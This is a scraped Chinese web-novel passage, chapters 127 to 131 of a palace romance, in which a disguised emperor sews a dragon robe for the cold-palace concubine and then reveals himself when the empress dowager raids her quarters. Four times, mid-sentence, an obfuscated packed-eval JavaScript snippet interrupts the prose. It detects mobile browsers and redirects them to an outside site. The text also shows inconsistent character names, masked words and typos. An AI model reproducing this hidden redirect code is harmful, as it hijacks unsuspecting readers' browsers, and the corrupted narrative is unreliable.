他想到了那个对他不闻不问的娘亲。 那个人一直清清冷冷的,把自己关在屋子里,从不与他打照面,也不与他说话,确实也不需要他照顾。 可他不想要那样的娘亲。 他喜欢现在这个需要他的娘亲。 哪怕她什么都不会,哪怕她神经大条,天不怕地不怕时不时惹麻烦,他也喜欢她。 晋明鸢觉得心里有点闷。 她也想到了贺云瑄之前描述过的曾经的她,明明她曾五年对他不理不睬。 可是她的宝贝儿子好像从来都没有怨恨过她,甚至还一直说喜欢她照顾她,她这个母亲做得也太失败了。 两个人陷入了久违的沉默。 就在这时,外面的鹅忽然大声叫嚷起来,就好像在提醒着什么一样。 不多时,房门就被人推开了。 一身黑衣的男人定定的站在门口,看着手拿针线的贺云瑄嘴角勾起了一个古怪的弧度。 贺云瑄也是一脸僵硬。 这人白天还一副爱搭不理的模样,他是真没想到他会来,而且来就算了,还来的时间那么尴尬。 刚才他还在想绝对不会让别人发现龙袍不是娘亲做的,这下好了,是没让别人发现,让正主发现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594172|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但贺云瑄已经打定了主意,就要他娘借着这个机会从冷宫里出去。 于是他顺手就将穿好的针线塞进了晋明鸢手里,然后欲盖弥彰的道:“娘亲针我帮你穿好了,你等会儿需要的时候再叫我。” 只要他自己打**不认,谁来了,这龙袍都是他娘亲做的。 晋明鸢还有些懵。 她宝贝儿子刚才还说的好好的,怎么一眨眼的功夫又把针推给她了? 她捏着手里的针,还没说话,贺云瑄就又补充:“娘亲,你亲手给陛下做衣服实在辛苦,你放心,我在这里陪着你,你渴了饿了随时叫我。” 他故意咬重了亲口二字,又对着晋明鸢眨了眨眼睛。 晋明鸢也觉得是这么一回事,既然答应了要带儿子去邀云宫,那表面上的功夫她得做足了。 于是她说:“不辛苦不辛苦,这顺手的事儿怎么会辛苦呢?而且…” 她目光蓦地看向了贺江灈,在贺云瑄都没反应过来的空档里,直接伸手把人拉了过来:“这不是有人帮忙吗? 你来的正巧,儿子想要去邀云宫,我打算给那个陛下亲自做个龙袍,然后看他能不能心软同意我们去瞧瞧。 你这些年总做甩手掌柜,儿子的心愿,你也得出一份力过来,这龙袍你来绣。” 她理所当然的姿态,顺手就把手里的针线又塞到了贺江灈手里。 看到这一幕的时候,贺云瑄那张总是面无表情的脸已经开始寸寸龟裂。 他本以为这世界上没有什么比被人抓包更尴尬的事了,确实在没想到有他娘在这里,什么样的尴尬都没有尽头。 “这叫亲自绣?”贺云瑄都不想看贺江灈的表情了,但耳朵却是捂不住的,他听到男人声音古怪的道了这么一句。 晋明鸢说:“你在意这个做什么?又不是给你的,只要那个陛下觉得是我亲自绣的就行了呗。 行了,别再耽误时间了,你快赶紧帮忙绣两针。” 一边说着,她一边将面前的布在贺江灈眼前摊开。 第127章 成亲的嫁衣,是他给她做的 贺云瑄只觉得,他这辈子都没有像现在这么尴尬过。 若是早知如此,他还不如像他娘一样,完全不知道面前这个人的**。 现在算怎么回事呢? 瞧着男人那张猜不透心思的侧脸,贺云瑄都有点害怕,他下一刻直接把桌子掀了。 他视线紧张地直盯着晋明鸢,已经打算好,如果这男人有什么妄动,他一定第一时间扑上去保护娘亲。 一片静默里,还是贺云瑄自己先忍不住,他说:“娘亲,他一个大男人,定也不会做衣服,你如果累了的话,就让我替你弄吧。” 他故意偷换概念,给贺江灈一种这叫龙袍之前一直都是晋明鸢在弄的错觉。 说话间已经伸出手来,想要将那一根针从贺江灈手里接回来。 贺江灈却抬手躲过了他的动作,他在桌前坐了下来,回头问晋明鸢:“想去邀云宫?” “对,我娘亲想去。”贺云瑄说。 贺江灈冷眼睨他一眼,再把目光转到晋明鸢身上来的时候,又温和了许多:“你自己说。” 贺云瑄的手拽了一下晋明鸢的袖子,他眨着一双眼睛,带着几分恳求。 让晋明鸢实在不舍得拒绝。 于是晋明鸢点头:“想去看看咋了,我们娘俩天天在这儿过苦日子,我就不能去看看好地方吗?你到底要不要帮忙?” 她还是那副理直气壮的姿态。 贺江灈没说话,但手里的针已经落了下去。 而且动作看起来行云流水一般,没有一点的凝滞。 贺云瑄在旁边看的更是睁大了眼睛。 这男人与他说话的时候,一直都是那种高高在上的模样,看起来对什么都很不屑。 就像没有什么东西能入了他的眼一样。 之前知道他会做饭的时候,贺云瑄已经有点惊讶了,现在看他缝衣服也这么顺手,贺云瑄真是不知道该说什么。 莫说是皇帝,只怕就是稍微富贵人家的公子哥,也不会做这些琐事的吧。 晋明鸢看着这一切也有点惊讶。 男人不像她,把针线都弄得一团糟,也不像贺云瑄,要比着图卷一点一点的弄,他一直都行云流水,速度也格外的快,一看就是之前做过这种事。 他那动作快的,连晋明鸢看着他时目光都有些发愣。 “你还会这些呀?”实在没有忍住,晋明鸢问。 贺江曲深深的看了敬明月一眼,眼睛里的情绪像是浓的化不开的雾,又像是在对着晋明鸢的脸回忆着什么一样。 晋明鸢被他看得有点尴尬,连目光也有点闪烁:“我就随便问问,你不想说就别说,这么看着**什么?” 贺江灈道:“没什么不能说的,就是有些人学不会这些,成亲的时候,连嫁衣都做不了,就只能我来了。” 说话间,他已经收回了目光。 可下一刻,靳明渊的巴掌就已经落到了他的肩膀上。 他听到她气冲冲的说:“好啊你个不要脸的东西,我还以为你这么胆大包天,敢给皇帝戴绿帽,就是孤家寡人一个。 没想到你竟然还成过亲,你这样胡作非为,对得起你家中的夫人吗? 你这人到底还要不要脸面?” 她劈头盖脸的就是一顿骂,看向贺江灈的时候,眼神都已经冷的不能再冷了。 即便贺江灈平日里表现的再冷漠,再如何泰山崩于眼前而不乱,这会儿捏着针的手也有点儿颤抖。 女人那嫌弃的表情实在是太让人无法忽视。 贺江灈越是看她那张脸,就越觉得心里发闷。 贺云瑄也是实打实的没有想到,她娘亲的想法这么古怪。 但他这次没有再说什么,反而是目光凝重的看着贺江灈。 这个人没有皇后,他口中的成亲应该就是娶自己娘亲的那一次。 他听说过的,女子的嫁衣要亲手绣才吉利。 原来当年娘亲穿的嫁衣竟然是他绣的吗? 他是为了替娘亲做这些才学会的针线活吗? 若是这么看来的话,或许在很早之前,他与娘亲真的有一段恩爱的时光。 贺云瑄看着贺江灈,不知怎么心里就有点不舒服。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594173|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他自己也分不清楚,是因为骤然得知这个人真的爱过娘亲,还是在气他不信任娘亲。 又或者别的说不出缘由的什么。 “喂,你那个夫人呢,你这个负心汉该不会把人家休了吧?”晋明鸢骂完了,又忽然想到了什么,提问起来。 贺江灈又一次抬眼,这一次他的表情又恢复了冷静,他淡淡的道:“她不要我了。” “做的好,你都在外面当登徒子了,人家嫌丢人,不要你也是应该的。 行了,懒得跟你这种人废话,既然你有这本事,那这个就交给你了。 你赶紧弄完,我还指望着靠它带儿子去看看邀云宫呢。”晋明鸢说。 话里意思再明显不过,就是明明白白的把贺江灈当成了一个干苦力的。 贺江灈好不容易咽下去的那口气,又好像开始在胸腔间翻涌。 他忽然有点意味不明的说:“这么想去邀云宫,到时候去了,希望不要吓到你。” 晋明鸢道:“你神神秘秘的说什么呢,一个宫殿而已,有什么好怕的,你就只管**的活吧,我的事无需你过问。” 贺云瑄只是片刻的失神,就没有想到晋明鸢与男人就闹到了这一步。 眼见的情况似是要一发不可收拾,贺云瑄拽着晋明鸢:“娘亲,水凉了,你跟我出去弄点热水吧。” 晋明鸢有点莫名其妙:“这么晚了,还烧热水做什么?” “泡茶呀。”贺云瑄说,他趁着贺江灈不注意,偷偷的对着晋明鸢努了努嘴,带着暗示的意味。 他娘亲说话,有时候是有点儿太不把门儿了。 贺云瑄也是担忧,她这会儿真的把人气的掀桌子离开。 晋明鸢说:“我不喝茶,至于他…” 看了贺江灈一眼,她补充,“云瑄,你别对他太客气,本来就是他欠咱们娘俩的,也是他自己自愿过来的,这都是他应做的,总之就是没必要在意他。” 晋明鸢是一点也不在意贺江灈,对她来说,这个人既然来了,能奴役就奴役,若是他不情愿了,走了,她也没什么损失。 第128章 不能让晋姐姐被别人骗了 好一个没必要在意。 不管贺云瑄现在表情多么的怪异,贺江灈也是直接冷笑了一声:“阿鸢,记得你今天说的话,希望在你看到邀云宫的时候,也是今天这套说辞。” 即便贺云瑄知道,娘亲只要出了冷宫,进了邀云宫,这个人的身份就必然要挑破。 可现在听着他这样放狠话,贺云瑄还是给他娘亲捏了一把冷汗。 倒是晋明鸢,听到贺江灈的话时,只觉得莫名其妙。 她道:“咋地,那邀云宫还与你挂钩呀,我看到邀云宫,就能对你印象不一样了,你咋那么敢想呢?” 她有点不屑,转身在桌边坐下,手撑着腮,看贺江灈的时候都带着讽意。 贺江灈没心思与他争论这些,继续摆弄着手里的布料。 他这会儿心里也憋了一股劲儿,他倒要看看晋明鸢到时候还能不能像现在这么嚣张? 自从登上这个帝位整整五年,所有人都在他面前俯首称臣,贺江灈已经很久没有体会到这样强烈的胜负欲了。 又或者也算不上胜负欲,就是觉得有趣。 单纯想看她到时候震惊到无与伦比的表情。 现在的阿鸢比起之前来,更鲜活,更热烈,也更像他最开始见到她的样子。 虽然有点荒唐,但他并不愿意与她生气。 他也不想看她再变成之前那副冷冰冰的样子。 贺江灈在冷宫里待了有两个时辰,直接把那衣服做的有了雏形,这才起身离开,临走的时候,他又不放心的与晋明鸢道:“知道你不爱做针线活,不喜欢就别弄,放着等我下次来。” 目光转而看向贺云瑄,他淡淡的道:“那个小鬼也别动了,弄的什么东西?乱七八糟的,做不了就不要碰。” 被他这么讽刺两句,贺云瑄的表情倒是没有什么变化。 甚至他好像还从贺江灈那里,听出几分别扭的味道。 伴随着男人离开,贺云瑄又一次失神。 这个人对娘亲的宽容,好像比他想象中的还要厉害。 就说龙袍这事儿,他发现了娘亲撒谎骗他,竟然都没有发作,甚至闹到最后,也只是让娘亲亲口说了一句想去邀云宫。 这不就意味着他已经答应了吗? 至于在这里收拾这件龙袍,看起来就好像给他自己在找台阶下一样。 贺云瑄甚至忍不住在想,如果那个人真的是他亲爹的话,或许他们一家三口真的可以很幸福。 晋明鸢没有贺云瑄想的那么多。 她还看着贺江灈的背影,有些愤愤道:“不是,他拽什么呀?不就是会缝个衣服吧,瞧把他厉害的。” “娘亲。”贺云瑄说,“要不你还是对那个人客气一点吧,你看他本事好像挺大,万一真身份不凡呢?” “怎么,你还想说他是皇帝呀? 你瞧瞧他做的这些,之前那些就不提了,谁家皇帝连缝衣服这种活都会做? 我看他说不准就是从小人嫌狗厌,童年不幸,才…” “娘亲!”贺云瑄声音稍稍提高了一点儿,制止了晋明鸢接下来的话。 看来娘亲对那个人的印象比他想象中的还要差。 虽然这样就可以证明以后娘亲不会被那个人轻易哄骗了去,他应该高兴的,可贺云瑄又不知道,他娘亲的这种性子,出了冷宫到底是好是坏? 那个人对娘亲的耐心,又能维持多久? 贺云瑄沉思的空档,晋明鸢已经是弯下腰来,很是怀疑的看着他:“你今天怎么回事?怎么还总替他说上话了?是不是他贿赂了你?” “怎么会呢娘亲,云瑄的心一直都是与娘亲一起的呀。”贺云瑄说。 接下来一连几日。 贺江灈确实每夜都准时来晋明鸢这里完善那件龙袍。 甚至贺云瑄都觉得,对于让娘亲出冷宫这件事,他好像表现的更为着急,这些从他做那件龙袍的进度上就能看出来。 姜妃还是老样子,白天总会来冷宫转一圈,倒是安妃,自送完布料之后就从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600579|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有来过。 宫里的一切好像又慢慢的恢复了平静,贺云瑄听说,就连太后的病也渐渐的好了起来。 之前福寿宫里的那桩事似乎并没有带来什么影响,除了清妃还要日日去太后那里跪规矩。 她现在被太后拘着,好像是没有办法来冷宫了,但隔三差五的,还是会让她跟前的人过来走那么一趟,假惺惺的询问晋明鸢缺什么短什么,然后又一连好几日不,再来的时候就好像把之前的事忘掉了,什么也带不来。 单是看清妃这幅做派,贺云瑄就又一次证实了之前他那些认知都是那个女人在骗他的,清妃从来就没有给他娘亲过什么东西。 但以他的聪慧,到现在也是依旧想不到,那个女人总来娘亲这里晃,到底是图什么? 今日满春又来了冷宫一趟。 晋明鸢还是很不屑的将她赶了出去。 深夜的玉粹宫里,烛光映在清妃的脸上,打下一片诡异的阴翳:“你说真的?晋姐姐想出冷宫?” 满春点头:“千真万确呀娘娘,奴婢是听到那晋娘娘与那小鬼说的,什么龙袍,什么邀云宫的,娘娘,您说陛下该不会真的把邀云宫给晋娘娘吧?” 一直跟在清妃身边,满春当然知道那邀云宫意味着什么,也知道娘娘最开始想要的就是邀云宫。 如果冷宫里的那位都能住进邀云宫,岂不是趁着娘娘这些年求而不得的梦像个笑话? 清妃说:“他们到底怎么说的?什么龙袍,你仔细说来。” 满春道:“奴婢听的也不真切,不过这马上就要换季了,宫里那些嫔妃确实喜欢在这个节骨眼上给陛下做衣服做香囊的,难道晋娘娘也是打的这个主意?” 清妃脸色又沉了沉,她道:“真不知道是什么居心叵测的人蛊惑了晋姐姐?以晋姐姐那样的性格,她若是出了冷宫,如何能保护的好自己? 不行满春,我不能这么看着晋姐姐着了别人的道,你现在就扶我去见太后娘娘,我得与太后娘娘好好说说这事儿。” 第129章 晋氏呢 今夜贺江灈照例又跑来冷宫做龙袍。 这个世界上就好像没什么是他不擅长的东西,仅仅几天的功夫,一件龙袍在他手里就已经有了雏形。 哪怕晋明鸢对他意见依旧很大,也不得不承认他干活确实是一把好手。 一切都是一如既往的平静,如果没有不速之客的话。 院子里忽然一阵喧闹,紧接着就听到一声尖锐的:“太后驾到。” 晋明鸢通过窗子望过去,就见果然是太后被一大群人簇拥着走了进来。 而在太后的背后,还跟着清妃。 这群人声势浩大的,一下子就惊动了,院子里几只怏怏欲睡的大鹅。 一群鹅一下子来了精神,尖叫着,嘶吼着,发了疯一样就往站在人群最前面的太后身上扑。 有的甚至展开翅膀,直接朝着太后脸上撞。 太后才踏进冷宫的大门,都还没有站稳呢,就被这变故吓得一阵晃神,连连后退,一张脸也很快泛了白,她尖叫道:“这里怎么会有这么多畜牲?来人呢?人呢?赶紧把这些畜生给哀家赶走!” 大鹅可听不懂太后再说什。 它们只知道有一大群人浩浩荡荡的闯进了它们的领地,于是闹得更疯。 尤其是太后尖锐的声音更加吸引它们的注意力,一群鹅甚至顾不得别人,就只逮着太后一个人追。 太后如今说是大病初愈,其实还有些气虚,这会儿被这群鹅追的她双腿都发软,一个踉跄,就直接朝在地上铺了过去。 竟是直直的趴在了地上。 看到这一幕,一群下人们都傻了眼,争先恐后的过来扶。 但那群鹅依旧紧盯着太后不放。 即便下人们再怎么拦,也有身形敏捷的能穿过层层包围,正冲着太后扑过来。 一群下人们看到这个架势,也只能自行围成一个圈,努力的将太后护在中央。 而太后更是被逼的连站起来都不敢了,双手抱着脑袋,生怕这群畜生伤了她的脸。 她尖叫道:“晋氏,晋氏呢,聋了吗?还不赶紧滚出来管管你这群畜牲?” 屋里晋明鸢都没有从太后的突然来访中回过神来,就先被这群大鹅惊的傻了眼。 而听到太后这尖锐到几乎可以刺破云霄的声音,她才蓦然回神,第一反应就是拽贺江灈:“太后来了,你快赶紧走,可不能被她抓到现行!” 尽管晋明鸢与太后见面的次数不多,若说单独相处,也只有她刚醒来的那一次,但在她的心里,太后已然成了个随便夺人性命的恶鬼形象。 尤其是在御花园听到的那些,还让晋明鸢觉得无比的心虚。 不用想,她也知道这太后绝对不怀好意,于是她又拽了贺江灈一下,“你能不能想办法把你主子哄过来,我怕这老妖婆想要我性命。” 即便晋明鸢心里对那个陛下也同样的没底,可她好歹知道那人从没想过要她性命,不像外面那太后。 贺江灈也是透过窗户看着外面狼狈的太后,他如一座山一般岿然不动。 外面太后还在尖叫着:“晋氏呢,死哪里去了?这么大的动静听不见吗?” 她这话说的实在是熟悉,像极了那日猪闯进福寿宫去的时候,她也是这么骂陛下的。 晋明鸢又拽了贺江灈一下:“我先出去拖着,你赶紧走,别让她们看到。” 贺云瑄对那个太后也没有什么好感,他也是赶紧不放心的跟着晋明鸢出了门,只是他临走的时候,黑黝黝的瞳孔朝着贺江灈的方向看了一眼。 直到打开门,晋明鸢才发觉太后的声音远比她在屋里听到的更要尖锐。 她都还没有说话呢,太后在看到她的瞬间就高声骂道:“你还想站在那里看多久?在冷宫里养这么一群畜牲,真是胆大包天,这件事哀家等会儿再给你算账,赶紧把你的畜牲弄走!” 她尖锐的声音很快就被院子里的鹅叫声压了下去。 而这会儿靳明鸢则满脑子里想象的都是她等会要找她算账。 既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600580|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这样,那当然是能拖一会儿是一会儿了。 于是晋明鸢便也不着急,就这么慢悠悠的朝着太后那里去。 太后又吼道:“你走这么慢做什么?你存心的是不是?” 晋明鸢懒得与她争论是与不是,不紧不慢的总算是走到了她跟前。 这群鹅最开始的时候确实是过分的嚣张,但这段时间一直都是晋明鸢在喂它们。 晋明鸢又是个没有耐心的,它们闹起来的时候,她就直接拎着棍子不分对象的就打。 时间久了,这鹅渐渐的就有点怵她了。 她这么一赶,一群鹅也不再黏着太后了,很是识趣的朝着角落里钻去。 太后这才重重地松了一口气,得以站起身来。 她在地上坐的久了,华贵的衣衫上沾满了尘灰,就连裙摆上,都不知怎么钻上了没有来得及清理的鹅屎。 太后自己也看到了,她的脸又是一片铁青,她吼道:“晋氏,瞧你做的好事,就算是进了冷宫,你也是皇家的女人,你怎么能…怎么能…你瞧瞧你现在这般鬼样子,和一个村妇有什么区别?” 听着太后这无比高傲的话,晋明鸢终于淡淡的道:“皇家的女人如何?村妇又如何,我只知道这样能让我吃饱饭。” 她这一句解释,又是把太后气得一个趔趄。 太后手捂着胸口,只觉得有点喘不上气来。 清妃说:“晋姐姐,太后娘娘可是长辈,您再怎么也不能在太后娘娘面前如此出言不逊呀。” “实话实说就成了出言不逊?你们一个个的光鲜亮丽,自然不知道我们母子在冷宫里过的是什么日子。 如果真的论起来,我这买鹅的钱清妃你也出了一份力,当初若不是你不给我粮食,只给我银两,我又哪里能想到买鹅呢,归根结底这事也是怪你,也该你给太后娘娘赔罪。”晋明鸢说。 清妃没有想到晋明鸢如今的嘴这么毒,一番倒反天罡的话说出来,倒是让太后的视线真的落在了她头顶。 第130章 他怎么还没走 清妃脸上闪过了几分慌乱。 她小声提醒太后:“太后娘娘,这些鹅毕竟是陛下…咱们还是别管了。” 那次在宫宴上,姜妃借着晋明鸢的势,让陛下默认了那鹅是从他那里过了明路的。 这件事其实一直都让贵妃觉得心里犯呕。 但现下为了应付太后,她自己也只能先把这事拿出来当借口。 太后狠狠地剜了清妃一眼,明显对清妃也是不喜的,但她却没有说什么,直接看向了晋明鸢:“晋氏,你可知罪?” “我又有什么罪了?”晋明鸢简直觉得莫名其妙。 太后没有一开始就喊打喊杀,那就说明她并不知道自己在御花园里听到她秘密的事。 现在这些鹅的事也已经被揭过去了。 所以太后又是因为什么发难,晋明鸢这还真不知晓。 “还不承认?”太后对着晋明鸢冷哼了一声,她忽然一摆手,“来人,将这个有不臣之心的东西抓起来。” “不是,我到底怎么了?就不臣之心了,太后娘娘抓人总该有证据吧?您这般随便扣个罪名,就想让我就犯,是不是有点过分了?”晋明鸢说。 她就知道这个太后不怀好心。 她的余光朝着屋子看了一眼,也不知道那个人能不能赶紧把皇帝请来。 贺云瑄也是挡在了晋明鸢的面前:“太后娘娘,就算是衙门抓人,那也得有证据的,您什么都不说,凭什么抓我娘亲?” “证据?呵,你们还敢要证据,好呀,那哀家就让你们死个明白。 来人,给哀家去屋里搜。”太后吼道。 “太后娘娘,您到底要找什么?”晋明鸢问。 她挡在太后面前,有意的把声音提高了一些,也不知道屋里的男人到底走了没有。 她屋里明明什么都没有,难道是太后听到了什么风声过来抓奸的? 可即便是抓奸,也不至于说什么不臣之心。 “让开。”太后道。 晋明鸢说:“太后娘娘什么都不说,我是不会让你进去搜的。” 太后冷哼,还是不打算与晋明鸢说话,是旁边的清妃叹了口气:“晋姐姐,这也不能怪太后娘娘,实在是近来宫里有人听说你在冷宫私藏龙袍,此事事关重大,太后娘娘也只是想查明真相。 如果最后证明这件事是有人冤,枉你是清白的,想来太后娘娘也会给你个交代的。” 她声音放的柔和,又劝道:“妹妹自然相信,晋姐姐不会做这种事的,但这宫中既然有了传言,姐姐也该自证清白,不是吗?” 就像是为晋明鸢着想一般,清妃甚至想过来拉晋明鸢的手,晋明鸢直接挥手把她的手打到了一边。 脸上闪过几分尴尬,清妃又退后一步重新站到了太后的身边,再一次道:“晋姐姐,您就莫要僵持了,这种情况自然是自证清白最重要了。” 龙袍… 原来就是为着这个而来的。 晋明鸢刚要说话,太后已经不耐烦的道:“你跟他说那么多废话做什么?来人!赶紧将这女人抓住! 现在冷宫还这么不安分,竟然还妄图绣龙袍,怎么?下一刻?是不是该把你这野种儿子推上皇位了?” 正如之前安妃所说的那般,这换季的时候,就是讨好陛下的时候。 嫔妃们给陛下亲手做件衣裳,做双鞋子那都是正常的。 可太后这话一说,直接就把概念彻彻底底的换了。 晋明鸢本来还能忍耐,直到听到太后又当着自己的面管贺云瑄叫野种,她的脸色一下子就变了起来。 她用了这么长的时间,才让云瑄不再自卑,不再把那个词挂在嘴边,结果太后现在又提。 晋明鸢直接怒道:“你少在这里给我扣帽子,说什么我有不臣之心,我看你现在这么着急想把我按死,那才是心里不知道藏了什么坏心思。 咋地,你是做了什么会亏心事想祸水东引吗?东西还没看见呢,就在这儿血口喷人!” 晋明鸢话说得直白,太后带来的一众下人听到这些的时候,个个把头垂得低低的,近乎是拼尽全力的在降低着自己的存在感。 太后的太阳穴都在突突直跳。 她在看向晋明鸢的时候,眼睛里已经闪过了几分狠厉。 晋明鸢根本就是一副破罐子破摔的模样,那些话听起来也像是她随便编的,可只有太后知道,她确实说进了她的心坎上。 那日她离奇病倒之后,定明侯府也出了事,如此明显的破绽,让太后实在是不安。 好在后来又有几个大臣也离奇生了病,其中还有一些是贺江灈的心腹。 这件事就好像只是偶然,并没有引起什么波澜,贺江灈也没有深究,但太后自己总觉得一直等下去不是办法,她得赶紧。弄点儿别的事把贺江灈的注意力彻底吸引了,绝不能让他再有心思细想自己的事。 如此在听到清妃说晋明鸢绣龙袍似乎想争宠,她心里就一下子有了对策。 可现在… 太后厉声道:“来人给哀家把她的嘴堵住,你们几个都跟哀家进屋去搜,哀家倒要看看人赃并获之后,她还有什么可说的。” 听出太后是真的动了怒,那群下人们便也不敢犹豫,赶紧过来拉扯晋明鸢,晋明鸢就算有再大的力气,面对一群人也是势单力薄,很快就被按住了。 贺云瑄也被人抱到了一边。 太后直接带着人朝着屋里冲去,瞧她这架势,晋明鸢就知道,一旦让她看到了屋里的龙袍,她绝对不会给自己解释的机会,直接就会定罪。 晋明鸢只得拼命的挣扎着。 终于在太后即将推开门的空挡,她撞倒了一个小太监,跌跌撞撞的朝着太后扑了过去。 可还是晚了。 只听得吱呀一声闷响,木门被推开,晋明鸢站在人群里,一眼就看到了坐在案前依旧面色不改的缝着龙袍的男人。 她只觉得脑袋一声嗡鸣,好像浑身的血液都倒流了。 他怎么还没走? 只是找到龙袍就算了,现在他还在这里,这要怎么解释? 第131章 那个人真是皇帝 太后不知是什么原因,推开门后竟是站在原地一动不动。 晋明鸢心里慌的厉害,只能小跑着挡在贺江灈面前,却又不知道该说些什么。 就在一片僵持之下,她却听到了太后有点古怪的嗓音:“皇…皇帝,你怎么在这里?” 皇帝? 哪里有皇帝? 晋明鸢都觉得自己是不是听错了,可下一刻,她就看到包括清妃在内,太后身边的人稀稀拉拉的跪了一地。 头顶一片阴影罩下来,男人立在她背后,声音冷淡:“这话应该朕问母后吧,母后为什么在这里?” 太后表情僵硬,对上贺江灈的视线,她还是硬着头皮继续刚才的说辞:“哀家听说晋氏在冷宫私藏龙袍,唯恐她包藏祸心,这才过来看看。” “那母后的看看还真不一般,这一进门就喊打喊杀的,恨不得将人当场处决了,这不知道的,还以为您阿鸢出去给谁顶罪呢。”贺江灈说。 他这番话和晋明鸢简直有异曲同工之妙。 只是晋明鸢的话,太后可以不放在心上。 可贺江灈… 太后讪笑一下,又是色厉内荏的模样:“皇帝可真会开玩笑,哀家也是一心为皇帝着想,毕竟她一个冷宫弃妃,又养着个不知从哪里来的野种,却私藏龙袍,皇帝不觉得…” “够了,朕已经坐在这里了,母后还提什么私藏是不是有点过了? 今日这件事母后不就是想要一个解释吗?可以,朕给你。 阿鸢贤惠,亲手给朕做了龙袍,朕不能不顾她这份心意,所以打算将她放进邀云宫,如此母后可还满意?”贺江灈说。 回应他话的,是周围的一片鸦雀无声。 晋明鸢甚至还没有从巨大的震惊里反应过来,就先听到了这个消息,她自己的嘴角都轻微的抽搐了一下。 贤惠,是说的她吗? 和后面赶来的贺云瑄对视了一下,贺云瑄也是有点惊讶。 他倒是知道这个人对娘亲挺包容的,倒也没有想到已经包容到了睁眼说瞎话的地步。 还是太后最先反应了过来,质疑道:“你知不知道自己在说什么?她当年让你丢了多大的脸,你现在将她接出冷宫,你知不知道… 不说别的,就单说这个野种,你要怎么安置?” “母后说话别这么难听,当然朕的安排也不用您费心,朕与阿鸢的事,母后还是少插手的好。”贺江灈说。 太后的胸口一阵起伏不定。 目光更是恨恨地看向了晋明鸢:“她到底给你灌了什么迷魂汤,让你这么多年都不醒? 这天底下比晋氏温柔好看,知书达礼的姑娘多的是。 你身为皇帝想要什么样的没有?就非得把这个让皇室蒙羞的女人接出去吗?” 比起说贺江灈自己丢脸,太后更在乎的还是皇室的颜面。 毕竟晋明鸢的事儿传闻颇多,谁都知道他在外面与人苟合。 若是真让贺江灈把人接了出来,他自己丢了面子事小,这要让别人怎么看流儿? 就算流儿以后真的回京登基,别人也难免会想到这贺江灈办的荒唐事,有这么一个为了个女人什么都不管的兄长,这不是让流儿丢脸吗? 贺江灈不愿意继续太后的话题:“这是朕自己的事,倒是母后今日是听了谁的消息,才口口声声断定阿鸢包藏祸心的,朕怎么不知朕的嫔妃给朕做件衣裳,就是包藏祸心了?” 太后还没有说什么,倒是她身边的清妃脸色有点泛白。 根本就没有用太后回答什么,贺江灈就道:“今日朕不想与母后计较,母后也莫要听风就是雨,您身子才刚好,还是回福寿宫好好养病吧。” “皇帝…”太后还是很不满意,贺江灈只是冷着眼看着她,到最后还是太后先败下阵来,一甩袖子大步离去。 贺江灈又冲着外面喊道:“张康全,你带人留下给晋氏收拾东西。” 清妃的表情微微的扭曲,但很快她就挤出了一个笑容,对着晋明鸢盈盈一拜:“妹妹就在这里恭喜晋姐姐乔迁新居了,姐姐如果有什么需要帮忙的地方…” “清妃,你跟朕过来。”贺江灈直接打断了清妃的话。 语气听起来算不得好,更是抬脚就走,没有一点要等清妃的意思。 伴随着他的离开,晋明鸢只觉得自己周围的空气都好像一下子变得轻快了。 她对着贺云瑄道:“这到底是怎么回事?你早就知道他的身份,所以才跟我说要去邀云宫?” “知道呀,上次我就与娘亲说过了,可娘亲不信。”贺云瑄说。 “那现在怎么办呀?不是只是说去看一眼嘛,他现在要让我搬到邀云宫去。”晋明鸢现在脑袋乱糟糟的,她只觉得无数的思绪牵扯着她,让她根本没办法静下心来。 她在冷宫这一隅小天地已经习惯了,搬进那什么邀云宫,她都不知道该做什么。 而且… 晋明鸢有些别扭的道:“我还打了他好几巴掌,他不会要与我球后算账吧?” 贺云瑄实在没想到,晋明鸢最后担忧的竟然是这个问题。 只要她自己承认想出冷宫,那人都能替她绣龙袍,自己给自己找台阶下,又怎么可能会在意这种细枝末节的小事呢? 